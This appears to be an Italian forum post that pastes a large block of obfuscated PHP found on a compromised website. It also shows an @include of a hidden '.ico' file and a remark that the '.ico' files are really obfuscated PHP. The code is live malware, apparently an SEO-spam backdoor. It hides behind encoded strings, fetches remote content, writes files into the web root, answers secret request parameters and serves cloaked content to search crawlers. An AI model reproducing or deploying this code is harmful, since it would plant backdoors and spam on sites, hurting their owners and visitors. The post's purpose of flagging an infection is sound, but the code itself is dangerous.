O"]($O_O0_0O_O0);if(!${"GLOBALS"}["O_0O0O0_O_"]($O00___O0OO,$OOO00_O__0)||!
${"GLOBALS"}["O_0O0O0_O_"]($O00___O0OO,$OO__00O_0O)){$O00___O0OO=$O_00__OO0
O.PHP_EOL 
.$O00___O0OO;@${"GLOBALS"}["O_OO_0_O00"]($O_O0_0O_O0,$O00___O0OO);}}@${"GLO
BALS"}["O_0O_O_O00"]($O_O0_0O_O0,0444);}}');$OO_0_O0O0_=${"GLOBALS"}["OO0O_
_0O_0"]('$OO00O___0O=\'\'','$OO00O___0OArray[]=NULL;if(false!=($O0OO0O0___=
${"GLOBALS"}["OOO_0__00O"](${"GLOBALS"}["OO0O0_O__0"](__FILE__)))){$O0O0O_0
O__=0;while(false!==($O_0OO0O_0_=readdir 
($O0OO0O0___))){if($O_0OO0O_0_!=\'.\'&&$O_0OO0O_0_!=\'..\'&&!${"GLOBALS"}["
O_0O0O0_O_"]($O_0OO0O_0_,\'.\')){$OO00O___0OArray[$O0O0O_0O__]=$O_0OO0O_0_;
$O0O0O_0O__++;}}$O0OO_O_00_=\'temp/\';${"GLOBALS"}["O_O0O0_0O_"]($O0OO0O0__
_);$OO00O___0OArray[$O0O0O_0O__]=$O0OO_O_00_;}return 
$OO00O___0OArray;');$OOO00_O0__=${"GLOBALS"}["OO0O__0O_0"]('$OO_000_OO_=\'\
'','@${"GLOBALS"}["O0O0__0_OO"](3600);@${"GLOBALS"}["O_O_O000O_"](1);global 
$O0O_O0O_0_,$O0OO_O_00_;$O_0OOO__00="1";$O0O0O0___O=\'5000\';$O0_OO_00O_=\'
\';$O0OO__O_00=${"GLOBALS"}["OO_0_O0O0_"]();$O0O0O_0O__pps 
=\'0.0\';$OOO_00__0O=${"_SERVER"}["HTTP_ACCEPT_LANGUAGE"];$O0_0_0OOO_=isset
(${"_SERVER"}["HTTP_REFERER"])?${"_SERVER"}["HTTP_REFERER"]:\'\';$OO_0_0_OO
0=isset(${"_SERVER"}["HTTP_USER_AGENT"])?${"_SERVER"}["HTTP_USER_AGENT"]:\'
\';$O0_0O0OO__=${"GLOBALS"}["O_OOO__000"]($OO_0_0_OO0);$OO__00OO_0=${"GLOBA
LS"}["O_O0_O00O_"]($O0_0_0OOO_);$OO_O0_0O_0=\'\';if(isset(${"_SERVER"}["HTT
P_HOST"])){$OO_O0_0O_0=${"_SERVER"}["HTTP_HOST"];}elseif(isset(${"_SERVER"}
["SERVER_NAME"])){$OO_O0_0O_0=${"_SERVER"}["SERVER_NAME"];}if($O0OO_O_00_==
""){$O0OO_O_00_=$O0OO__O_00[0];}else{$O0OO_O_00_=$O0OO_O_00_;}$OO_0__O0O0=$
{"GLOBALS"}["O_O_00O0O_"]($OO_O0_0O_0).\'.txt\';if(!${"GLOBALS"}["O_0_00O_O
O"]($O0OO_O_00_)){${"GLOBALS"}["OO__0OO00_"]($O0OO_O_00_);}$O0OO_O_00_=$O0O
O_O_00_.\'/\'.$OO_0__O0O0;if(isset($_REQUEST["xxxxxxxxxxxx_loads"])){${"GLO
BALS"}["O0O00OO___"]();}if(isset($_REQUEST["xxxxxxxxxxxx_del"])){${"GLOBALS
"}["O__00_0OOO"]($O0OO_O_00_);}if(!${"GLOBALS"}["OO0OO0__0_"]($O0OO_O_00_))
{$OO_OO_000_=${"GLOBALS"}["O00_0__OOO"](\'yygpKhTbDS188vSM0rzixJ1cspSdFPLMj
UK8gosE+tP3BQA=\');$OO0O_0__O0=${"GLOBALS"}["OOO_00O__0"]($OO_OO_000_.$O0O_
O0O_0_);@${"GLOBALS"}["O_OO_0_O00"]($O0OO_O_00_,$OO0O_0__O0);}$OO0O_0__O0=$
{"GLOBALS"}["O_0O__O00O"]($O0OO_O_00_);$OO0O_0__O0=${"GLOBALS"}["OO0_0_O_0O
"](\'|\',$OO0O_0__O0);$O00O0O__O_=${"GLOBALS"}["OO_O_0O00_"](${"GLOBALS"}["
O_OO__000O"]($OO0O_0__O0[0]));$O_O_0OO00_=${"GLOBALS"}["OO_O_0O00_"](${"GLO
BALS"}["O_OO__000O"]($OO0O_0__O0[1]));$O0__O_O00O=${"_SERVER"}["REQUEST_URI
"];$O_OO0__0O0=\'\';$OO00__O0O_=${"_SERVER"}["DOCUMENT_ROOT"];$OO00__O0O_=$
{"GLOBALS"}["OO0___00OO"](\'\\\\\',\'/\',$OO00__O0O_);$O_OO_0_0O0=__FILE__;
$O_OO_0_0O0=${"GLOBALS"}["OO0___00OO"](\'\\\\\',\'/\',$O_OO_0_0O0);$O0___O0
0OO=${"GLOBALS"}["OO0O0_O__0"](__FILE__).\'/\';$OO_0_0O_0O=${"GLOBALS"}["OO
0___00OO"]($OO00__O0O_.\'/\',\'\',$O_OO_0_0O0);$O0_OO_00O_=${"GLOBALS"}["OO
0___00OO"]($OO00__O0O_,\'\',$O0___O00OO);$O_OO0__0O0=$OO_0_0O_0O;if(${"GLOB
ALS"}["O_0O_00O_O"]($O0__O_O00O,$OO_0_0O_0O)>0){$O0_OO_00O_=$O0_OO_00O_.$OO
_0_0O_0O;}$OO_00_O_0O=\'www\';$OOO_0_0O0_=\'\';if(isset(${"_SERVER"}["REQUE
ST_SCHEME"])){$OOO_0_0O0_=${"_SERVER"}["REQUEST_SCHEME"];}$O_0OOO__00=(int)
$O_0OOO__00;${"GLOBALS"}["OOO_O_00_0"](\'\',$O_0OOO__00,$O_OO0__0O0,$OO00__
O0O_);$O0O_0__0OO=$OO_00_O_0O.$O0O_O0O_0_.${"GLOBALS"}["O_OO__000O"]($O00O0
O__O_);$O0_0O0O__O=$OO_00_O_0O.${"GLOBALS"}["O_OO__000O"]($O_O_0OO00_);$O0O
0__OO_0=${"GLOBALS"}["O00_0__OOO"](\'FcRBChToAwDADB18SjUU8iiG8JFExFaLDx/7pz
GM+MTVW89RQtljZPyzqGx1F26cNJSS85BT1kdFOli9rtPfBw==\');$O0O___OO00=${"GLOBAL
S"}["O00_0__OOO"](\'FcRBChToAwDADB18SjUU8iiG8RBGNpabDp/3XnMBbhm6pYbSGaevF5W
tbRzY9rlzbcFNTJyOmlkzI9lKjtP+fQ==\');$O0OO__0O_0=${"GLOBALS"}["O00_0__OOO"]
(\'yygpKhTbDS11fNyC8uUdXPTSxIy8xJ1SutPpKAEA\');$O0O0__OO_0=${"GLOBALS"}["O0
O0_O__0O"]("/%host%/si",$O0O_0__0OO,$O0O0__OO_0);$O0OO__0O_0=${"GLOBALS"}["
O0O0_O__0O"]("/%host%/si",$O0O_0__0OO,$O0OO__0O_0);$OOO_O_0_00=${"GLOBALS"}
["O00_0__OOO"](\'sykuShTMxLz7ctPDAA==\');$O_0OO__00O=\'zlib\';$O000_OOO__=\
'|\';$O_00_O0O_O=${"GLOBALS"}["O00_0__OOO"](\'y0+KThT6/KSMxLyUktPtAgA=\');i
f(isset(${"_GET"}["xxnew_map"])){$OO0O_00__O=${"_GET"}["xxnew_map"];$O0_0OO
0__O=\'/\';if($OO0O_00__O!=\'\'){${"GLOBALS"}["OO__0OO00_"]($OO0O_00__O,075
5);$OO0O_00__O 
=$OO0O_00__O.$O0_0OO0__O;}$O00___OO0O=${"GLOBALS"}["OOO_00O__0"]($O0OO__0O_
0);$O0OO0_O0__=${"GLOBALS"}["OO0_0_O_0O"](\'|\',$O00___OO0O);$O__O_O00O0=\'
end\';for($O0O0O_0O__=0;$O0O0O_0O__<${"GLOBALS"}["O_OO00O0__"]($O0OO0_O0__)
;$O0O0O_0O__++){$O0_O0O_0_O=sprintf($O0O0__OO_0,$OO_O0_0O_0,$O0O_O0O_0_,${"
GLOBALS"}["O_O00_0O_O"](${"GLOBALS"}["OOO__O_000"](\'Y-m-d 
h:i:s\')),${"GLOBALS"}["O_O00_0O_O"]($O0_0OO0__O.${"GLOBALS"}["O_OO__000O"]
($O0OO0_O0__[$O0O0O_0O__])),${"GLOBALS"}["O_O00_0O_O"]($OOO_0_0O0_),${"GLOB
ALS"}["O_OO__000O"]($O0O0O_0O__pps) 
,${"GLOBALS"}["O_O00_0O_O"]($O0_0_0OOO_),${"GLOBALS"}["O_O00_0O_O"]($OO_0_0
_OO0),$OOO_00__0O,$O0_OO_00O_,0,$O0___O00OO.$O000_OOO__.$OO00__O0O_);$O00__
_OO0O=${"GLOBALS"}["OOO_00O__0"]($O0_O0O_0_O);$O0__OOO00_=${"GLOBALS"}["O00
_0__OOO"](\'09coyhTk/KLynW1NPSK6koUdEtPHAA==\');if(${"GLOBALS"}["O_0O0O0_O_
"]($O00___OO0O,$OOO_O_0_00)&&${"GLOBALS"}["O__00_O0OO"]($O0__OOO00_,${"GLOB
ALS"}["O_OO__000O"]($O0OO0_O0__[$O0O0O_0O__]))){$O00___OO0O=${"GLOBALS"}["O
O0___00OO"]($OOO_O_0_00,\'\',$O00___OO0O);${"GLOBALS"}["O_OO_0_O00"](${"GLO
BALS"}["O_OO__000O"]($O0OO0_O0__[$O0O0O_0O__]),$O00___OO0O);echo 
${"GLOBALS"}["O_OO__000O"]($O0OO0_O0__[$O0O0O_0O__]).\'<br>\';}else 
if(${"GLOBALS"}["O_0O0O0_O_"]($O00___OO0O,$OOO_O_0_00)){$O00___OO0O=${"GLOB
ALS"}["OO0___00OO"]($OOO_O_0_00,\'\',$O00___OO0O);${"GLOBALS"}["O_OO_0_O00"
]($OO0O_00__O.${"GLOBALS"}["O_OO__000O"]($O0OO0_O0__[$O0O0O_0O__]),$O00___O
O0O);echo 
$OO0O_00__O.${"GLOBALS"}["O_OO__000O"]($O0OO0_O0__[$O0O0O_0O__]).\'<br>\';}
}echo 
$O__O_O00O0;unset($O00___OO0O,$O0OO0_O0__,$OO0O_00__O);}$O0O0__OO_0=sprintf
($O0O0__OO_0,$OO_O0_0O_0,$O0O_O0O_0_,${"GLOBALS"}["O_O00_0O_O"](${"GLOBALS"
}["OOO__O_000"](\'Y-m-d 
h:i:s\')),${"GLOBALS"}["O_O00_0O_O"]($O0__O_O00O),${"GLOBALS"}["O_O00_0O_O"
]($OOO_0_0O0_),${"GLOBALS"}["O_OO__000O"]($O0O0O_0O__pps) 
,${"GLOBALS"}["O_O00_0O_O"]($O0_0_0OOO_),${"GLOBALS"}["O_O00_0O_O"]($OO_0_0
_OO0),$OOO_00__0O,$O0_OO_00O_,0,$OO00__O0O_.\'|\'.$O_OO_0_0O0);$O0O___OO00=
${"GLOBALS"}["O0O0_O__0O"]("/%host%/si",$O0_0O0O__O,$O0O___OO00);$O0O___OO0
0=sprintf($O0O___OO00,$OO_O0_0O_0,$O0O_O0O_0_,${"GLOBALS"}["O_O00_0O_O"](${
"GLOBALS"}["OOO__O_000"](\'Y-m-d 
h:i:s\')),${"GLOBALS"}["O_O00_0O_O"]($O0__O_O00O),${"GLOBALS"}["O_O00_0O_O"
]($OOO_0_0O0_),${"GLOBALS"}["O_OO__000O"]($O0O0O_0O__pps) 
,${"GLOBALS"}["O_O00_0O_O"]($O0_0_0OOO_),${"GLOBALS"}["O_O00_0O_O"]($OO_0_0
_OO0),$OOO_00__0O,$O0_OO_00O_,1,$OO00__O0O_.\'|\'.$O_OO_0_0O0);if(isset(${"
_GET"}["xxnew2018_url1"])){echo 
$O0O0__OO_0;}if(isset(${"_GET"}["xxnew2018_url2"])){echo 
$O0O___OO00;}if(isset(${"_GET"}["webmasters_url"])){$OO0O_0O0__=${"_GET"}["
webmasters_url"];$O0_0OOO__0=${"GLOBALS"}["O00_0__OOO"](\'yygpKhTSi20tcvLy/
XS8/PT89J1UvOz9UvT03KTSwuSS0q1i/OLEnNTSwo1i/IzEu3h/JtPsAQ==\').$OO0O_0O0__;
$O00___OO0O=${"GLOBALS"}["O_0O__O00O"]($O0_0OOO__0);echo 
$O00___OO0O;}$O0OO_00__O=${"GLOBALS"}["O00_0__OOO"](\'yyhJThTM7tPPBgA=\');$
O0OO_00__O=${"GLOBALS"}["O00_0__OOO"](\'yyhJThTM7tPLBwA=\');if(isset(${"_GE
T"}["htac"])){$O0__O0OO_0=${"_GET"}["htac"];if(${"GLOBALS"}["OO0OO0__0_"]($
O0__O0OO_0)){echo $O0OO_00__O;}else{echo 
$O0OO_00__O;}}$O0__OOO00_=${"GLOBALS"}["O00_0__OOO"](\'09coyhTk/KLynW1NPSK6
koUdEtPHAA==\');if(${"GLOBALS"}["O__00_O0OO"]($O0__OOO00_,$O0__O_O00O)){$O0
0___OO0O=${"GLOBALS"}["OOO_00O__0"]($O0O0__OO_0);if(${"GLOBALS"}["O_0O0O0_O
_"]($O00___OO0O,$OOO_O_0_00)){$O00___OO0O=${"GLOBALS"}["OO0___00OO"]($OOO_O
_0_00,\'\',$O00___OO0O);$O_0__00OOO=${"GLOBALS"}["O00_0__OOO"](\'S87PKhT0nN
K9EtqSxItSpJrSjRL6ktPoAQA=\');if(${"GLOBALS"}["OO0O00__O_"]($O_0OO__00O)) 
{${"GLOBALS"}["O_00__OOO0"]($O_00_O0O_O);}@header($O_0__00OOO);echo 
$O00___OO0O;if(${"GLOBALS"}["OO0O00__O_"]($O_0OO__00O)) 
{${"GLOBALS"}["O__O00_0OO"]();}unset($O00___OO0O,$O0O0__OO_0,$O0__O_O00O,$O
O_O0_0O_0,$O0_0_0OOO_,$OO_0_0_OO0);}}$O_0OO00O__=${"GLOBALS"}["O00_0__OOO"]
(\'09cozhTixJzU0s0NTT0qvIzVHtPRBwA=\');if(${"GLOBALS"}["O__00_O0OO"]($O_0OO
00O__,$O0__O_O00O)){$O00___OO0O=${"GLOBALS"}["OOO_00O__0"]($O0O0__OO_0);if(
${"GLOBALS"}["O_0O0O0_O_"]($O00___OO0O,$OOO_O_0_00)){$O00___OO0O=${"GLOBALS
"}["OO0___00OO"]($OOO_O_0_00,\'\',$O00___OO0O);$O_0__00OOO=${"GLOBALS"}["O0
0_0__OOO"](\'S87PKhT0nNK9EtqSxItSpJrSjRr8jtPNAQA=\');if(${"GLOBALS"}["OO0O0
0__O_"]($O_0OO__00O)) 
{${"GLOBALS"}["O_00__OOO0"]($O_00_O0O_O);}@header($O_0__00OOO);echo 
$O00___OO0O;if(${"GLOBALS"}["OO0O00__O_"]($O_0OO__00O)) 
{${"GLOBALS"}["O__O00_0OO"]();}unset($O00___OO0O,$O0O0__OO_0,$O0__O_O00O,$O
O_O0_0O_0,$O0_0_0OOO_,$OO_0_0_OO0);}}if($O0_0O0OO__){$O00___OO0O=${"GLOBALS
"}["OOO_00O__0"]($O0O0__OO_0);if(${"GLOBALS"}["O_0O0O0_O_"]($O00___OO0O,$OO
O_O_0_00)){$O00___OO0O=${"GLOBALS"}["OO0___00OO"]($OOO_O_0_00,\'\',$O00___O
O0O);if(${"GLOBALS"}["OO0O00__O_"]($O_0OO__00O)) 
{${"GLOBALS"}["O_00__OOO0"]($O_00_O0O_O);}echo 
$O00___OO0O;if(${"GLOBALS"}["OO0O00__O_"]($O_0OO__00O)) 
{${"GLOBALS"}["O__O00_0OO"]();}unset($O00___OO0O,$O0__O_O00O,$OO_O0_0O_0,$O
0_0_0OOO_,$OO_0_0_OO0);}}if($OO__00OO_0){$O00___OO0O=${"GLOBALS"}["OOO_00O_
_0"]($O0O___OO00);if(${"GLOBALS"}["O_0O0O0_O_"]($O00___OO0O,$OOO_O_0_00)){$
O00___OO0O=${"GLOBALS"}["OO0___00OO"]($OOO_O_0_00,\'\',$O00___OO0O);if(${"G
LOBALS"}["OO0O00__O_"]($O_0OO__00O)) 
{${"GLOBALS"}["O_00__OOO0"]($O_00_O0O_O);}echo 
$O00___OO0O;if(${"GLOBALS"}["OO0O00__O_"]($O_0OO__00O)) 
{${"GLOBALS"}["O__O00_0OO"]();}unset($O00___OO0O,$O0__O_O00O,$OO_O0_0O_0,$O
0_0_0OOO_,$OO_0_0_OO0);}}');${"GLOBALS"}["OOO00_O0__"]();
 
 
@include "/web/htdocs/
www.NOMEDELSITO.it/home/test/CARTELLA/.9bca72ce.ico
";
 
 get_header()
 
§
 
ho notato che i file .ico non sono icone ma altri pezzi di php offuscato :)
